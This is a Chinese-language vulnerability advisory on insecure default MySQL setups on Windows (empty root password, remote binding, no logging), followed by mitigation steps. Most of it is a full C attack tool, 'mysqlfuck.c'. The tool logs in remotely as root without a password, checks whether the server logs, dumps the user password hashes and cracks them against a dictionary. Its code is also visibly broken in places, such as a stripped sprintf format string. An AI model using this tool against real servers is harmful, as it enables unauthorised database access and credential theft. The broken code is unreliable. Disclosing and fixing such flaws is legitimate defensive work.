受影响系统：
MySQL AB MySQL 3.23.9
MySQL AB MySQL 3.23.8
MySQL AB MySQL 3.23.52
MySQL AB MySQL 3.23.51
MySQL AB MySQL 3.23.50
MySQL AB MySQL 3.23.5
MySQL AB MySQL 3.23.49
MySQL AB MySQL 3.23.48
MySQL AB MySQL 3.23.47
MySQL AB MySQL 3.23.46
MySQL AB MySQL 3.23.45
MySQL AB MySQL 3.23.44
MySQL AB MySQL 3.23.43
MySQL AB MySQL 3.23.42
MySQL AB MySQL 3.23.41
MySQL AB MySQL 3.23.40
MySQL AB MySQL 3.23.4
MySQL AB MySQL 3.23.39
MySQL AB MySQL 3.23.38
MySQL AB MySQL 3.23.37
MySQL AB MySQL 3.23.36
MySQL AB MySQL 3.23.34
MySQL AB MySQL 3.23.31
MySQL AB MySQL 3.23.30
MySQL AB MySQL 3.23.3
MySQL AB MySQL 3.23.29
MySQL AB MySQL 3.23.28 gamma
MySQL AB MySQL 3.23.28
MySQL AB MySQL 3.23.27
MySQL AB MySQL 3.23.26
MySQL AB MySQL 3.23.25
MySQL AB MySQL 3.23.24
MySQL AB MySQL 3.23.23
MySQL AB MySQL 3.23.2
MySQL AB MySQL 3.23.10
MySQL AB MySQL 3.22.32
MySQL AB MySQL 3.22.30
MySQL AB MySQL 3.22.29
MySQL AB MySQL 3.22.28
MySQL AB MySQL 3.22.27
MySQL AB MySQL 3.22.26
- Microsoft Windows NT 4.0
- Microsoft Windows 98
- Microsoft Windows 2000
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 5513
MySQL是一款开放源代码关系数据库系统，可使用在多种操作系统下，包括Microsoft Windows系统。
MySQL默认配置存在多个问题，远程攻击者可以利用这些漏洞访问数据库，更改数据库操作或者攻击不被记录。
Windows下的MySQL默认配置存在3个问题：
1)默认ROOT空密码问题：
MySQL允许通过内部数据库系统表'mysql.user'管理用户，这张表包括用户的用户名，密码和主机字段，MySQL默认情况下没有对ROOT帐户设置密码，攻击者可以使用这个帐户无需密码登录。
2)非回环地址绑定问题：
大多数MySQL用户在WEB服务器相同主机上安装运行MySQL数据库，在MySQL配置文件中，其中的'bind-address=127.0.0.1'一行被注释掉的，如果服务器绑定为回环地址中，就只允许运行数据库的主机进行访问，但是由于这一行被注释，所以MySQL数据库运行任意用户从任意主机上登录访问，结合ROOT用户空密码漏洞，就可以以ROOT权限访问数据库。
上面两个问题是：
Windows平台默认安装的MySQL的user表是这样的：
mysql> select Host,User,Password,Select_priv,Grant_priv from user;
+-----------+------+----------+-------------+------------+
| Host | User | Password | Select_priv | Grant_priv |
+-----------+------+----------+-------------+------------+
| localhost | root | | Y | Y |
| % | root | | Y | Y |
| localhost | | | Y | Y |
| % | | | N | N |
+-----------+------+----------+-------------+------------+
其设置ROOT密码为空，而且主机字段为'%'，表示允许可从所有主机进行连接。所以Windows下的MySQL可以以ROOT用户名无需密码从任意主机登录数据库。
3)没有日志功能：
日志是任何软件所必须的一部分，MySQL默认情况下在Windows系统中不进行日志记录，这意味着管理员将不能检测数据库是否被破坏，或者攻击者进行暴力攻击进行帐户猜测，也不会被记录。
<*来源：Mike Bommarito （g0thm0g@attbi.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=102978779419465&w=2
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Mike Bommarito（g0thm0g@attbi.com） 提供了如下测试程序：
//mysqlfuck.c
/*--||MySQLfuck||--*/
/*Written by g0thm0g*/
/*-----------------*/
/*Earlier this summer (at least where I live), I had a
conversation with a friend.
It was one of those afternoons where you get an idea,
and it kinda sticks with you.
Anyway, our conversation involved a couple questions
about INSERT's into a MySQL
database. Eventually, I told him that I would do it
for him. I came over, sat down
on his computer, and accidentally typed his full IP
address in. TO my surprise, the
host still connected. Even worse, root login wasn't
passworded. I figured that he
had mysql bound to 127.0.0.1, and that no real remote
host could connect. However,
later that night after I had gone home, I got a phone
call from the friend asking me
to do it again. Already on the computer (go figure
d:), I pulled up bash and
typed in his IP. Right as I was about to ask him what
his password was, I noticed
that MySQL hadn't even bothered to authenticate me. I
"used mysql" and then SELECT'ed
user,password,host FROM user. To my horror, I recieved:
+------+----------+-----------+
| user | password | host |
+------+----------+-----------+
| root | | localhost |
| root | | % |
| | | localhost |
| | | % |
+------+----------+-----------+
Not only was name-less login allowed, but root was
without password on localhost
and remote. Anyway, to make a long story short, I did
some research, and found that
default Windows MySQL configuration lacks logging or
authentication. I did some
network scanning, and I think I have around 400 hosts
with no root password. Anyway,
to automate checking this, I wrote this program up. It
tries to login as root/NULL,
then takes the values of the user password hashes and
tries to find a match to a
dictionary file called dictionary.txt.
I wrote up an advisory, which you'll probably see on
SecFoc soon.
If I had some cookies, I'd give them to:
-Tiefer and his relentless questioning and jokes about
my sister
-Club 21, especially for Hard Attack
-DJ Doboy, can't forget trancequility volume 19
(INSERT STANDARD "NOT-TO-BE-USED-FOR-ILLEGAL-USE"
CLAUSE HERE)
(INSERT STANDARD "I-HOLD-NO-LIABILITY" CLAUSE HERE)
Compile:
-MSVC= cl mysqlfuck.c libmySQL.lib /DWIN32 -O2
-GCC= gcc -omysqlfuck mysqlfuck.c -lmySQL -O2
-Cheers
g0th
*/
#include <stdio.h>
#ifdef WIN32
#include <windows.h>
#endif
#include <mysql.h>
/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*Crazy MySQL programmers and their short typedefs*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/
#ifndef ulong
#define ulong unsigned long
#endif
#ifndef uint
#define uint unsigned int
#endif
#ifndef uchar
#define uchar unsigned char
#endif
/*_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*?
/*##--####--####--####--####--####--####--####--##*/
/*-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-*/
/*--------------------------------------------------------------*/
/*<<<<This section is ripped straight from the MySQL
source.>>>>*/
/*I have this all nice and optimized in assembly on my
end, but*/
/*writing cross-compiler inline is not too fun, and
requring an*/
/*assembler is kinda frustrating.*/
/*--------------------------------------------------------------*/
void hash_password(ulong *result, const char *password)
{
register ulong nr=1345345333L, add=7, nr2=0x12345671L;
ulong tmp;
for (; *password ; password++)
{
if (*password == ' ' || *password == '\t')
continue; /* skipp space in password */
tmp= (ulong) (uchar) *password;
nr^= (((nr & 63)+add)*tmp)+ (nr << 8);
nr2+=(nr2 << 8) ^ nr;
add+=tmp;
}
result[0]=nr & 2147483647; /* Don't use sign bit
(str2int) */;
result[1]=nr2 & 2147483647;
return;
}
void make_scrambled_password(char *to,const char *password)
{
ulong hash_res[2];
hash_password(hash_res,password);
sprintf(to,"0000000000000000",hash_res[0],hash_res[1]);
}
/*--------------------------------------------------------------*/
/*<<<<######################################################>>>>*/
/*--------------------------------------------------------------*/
/*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/
/*--------------------------------*/
/*<<<user struct to store data>>>>*/
/*--------------------------------*/
typedef struct
{
char *user;
char *password;
} user;
#define MAX_USERS 16
/*--------------------------------*/
/*<<<<########################>>>>*/
/*--------------------------------*/
//main - for "coherency's" (yes, i mean laziness) sake,
i've kept this a single function
int
main
(
int argc,
char** argv
)
{
MYSQL * mysqlData; //--|-
MYSQL_RES * mysqlResult; //--|-MySQL Datatypes
MYSQL_ROW mysqlRow; //--|-
char *spHost; //--|
char *spUser="root"; //--|
char *spPassword=NULL; //--|-Our connection data
int spPort=3306; //--|
char *spServerVersion; //--|
int usernum=0; //--|
user *users[MAX_USERS]; //--|-User name/hash storage
data
FILE *fin, *fout; //--|
char *file_name; //--|-File I/O data
char *line=(char *)malloc(64); //--|
char *buff=(char *)malloc(64); //--|-Miscellaneous
buffers
int i=0; //--|Counter
//Warn about not meeting minimal arguments
if (2>argc)
{
fprintf (stderr, "usage: mysqlfuck host [-p<port>]");
return -1;
}
//Copy the first argument into the host buffer
spHost=(char *)malloc(sizeof(argv[1]));
strcpy (spHost, argv[1]);
//Copy port if the user specified
if (argv[2])
{
if (argv[2][1]=='p')
{
++argv[2];
++argv[2];
spPort=atoi(argv[2]);
printf ("port: %i\n", spPort);
}
}
//Initialize MySQL data and connect with root/NULL
mysqlData = (MYSQL *)malloc(sizeof(MYSQL));
mysql_init (mysqlData);
if (! mysql_real_connect (mysqlData, spHost, spUser,
spPassword, "mysql", spPort, NULL, 0) )
{
fprintf (stderr, "mysql_real_connect: %s\n",
mysql_error (mysqlData));
return -1;
}
//If the server logs, inform the user!
printf ("server version: %s\n",
mysql_get_server_info(mysqlData));
if (strstr (mysql_get_server_info (mysqlData), "log"))
{
printf ("Warning! Server is logging - Continue(*/n)?");
if (getchar()=='n')
{
mysql_close (mysqlData);
return -1;
}
}
//"Obtain" the hashes (notice i didn't use the word
steal)
if ( mysql_query (mysqlData, "SELECT user,password
FROM user") )
{
fprintf (stderr, "mysql_query: %s\n", mysql_error
(mysqlData));
return -1;
}
//Store the result and process it
mysqlResult=mysql_store_result(mysqlData);
while (mysqlRow=mysql_fetch_row(mysqlResult))
{
if (strlen(mysqlRow[0])==0)
{
mysqlRow[0]="(NULL)";
}
if (strlen(mysqlRow[1])==0)
{
mysqlRow[1]="(NULL)";
}
users[usernum]=(user *)malloc(sizeof(user));
users[usernum]->user=(char
*)malloc(strlen(mysqlRow[0])+1);
strcpy (users[usernum]->user, mysqlRow[0]);
users[usernum]->password=(char
*)malloc(strlen(mysqlRow[1])+1);
strcpy (users[usernum]->password, mysqlRow[1]);
usernum++;
}
mysql_close (mysqlData);
//Setup putput file name string
file_name=(char *)malloc (sizeof(spHost)+4);
strcpy (file_name, spHost);
strcat (file_name, ".txt\0\0");
printf ("\n+----------------------------+\n");
printf ("<decrypting and dumping to %s>\n", file_name);
printf ("+----------------------------+\n");
fout=fopen (spHost, "w");
if (!fout)
{
fprintf (stderr, "Unable to open %s for password
dumping\n", spHost);
return -1;
}
//Use a database to crack the hashes (optional)
fin=fopen ("dictionary.txt", "r");
if (!fin)
{
fprintf (stderr, "error opening dictionary.txt - no
decryption will take place\n");
for (i=0;i<usernum;i++)
{
printf ("%s::%s\n", users[i]->user,
users[i]->password);
}
return -1;
}
//Loop through the user array and crack/output hashes
for (i=0;i<usernum;i++)
{
if (users[i]->user)
{
if (users[i]->password)
{
while ( (fgets (line, 63, fin)))
{
line[strlen(line)-1]='\0';
make_scrambled_password (buff, line);
if (strcmp (buff, users[i]->password)==0)
{
users[i]->password=line;
break;
}
}
fclose (fin);
fprintf (fout, "%s::%s\n", users[i]->user,
users[i]->password);
printf ("%s::%s\n", users[i]->user,
users[i]->password);
fflush (fout);
}
}
}
//Always clean up after yourself!
fclose (fout);
if (buff)
free (buff);
if (line)
free (line);
if (spHost)
free (spHost);
if (users)
free (users);
if (file_name)
free (file_name);
if (mysqlData)
free (mysqlData);
}
建议：
--------------------------------------------------------------------------------
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 1) 给root加口令
mysql> set password for root@localhost=password('password');
* 2) 删除User表里匿名用户和Host字段为%的记录
mysql> delete from user where user='';
mysql> delete from user where host='%';
mysql> flush privileges
* 3) 把配置文件中的'bind-address=127.0.0.1'注释符去掉，然后重新启动MySQL。
* 4) 在my.ini中增加:
log-long-format
log=/path/to/somewhere/log.txt
然后重新启动MySQL。
厂商补丁：
MySQL AB
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.mysql.com/
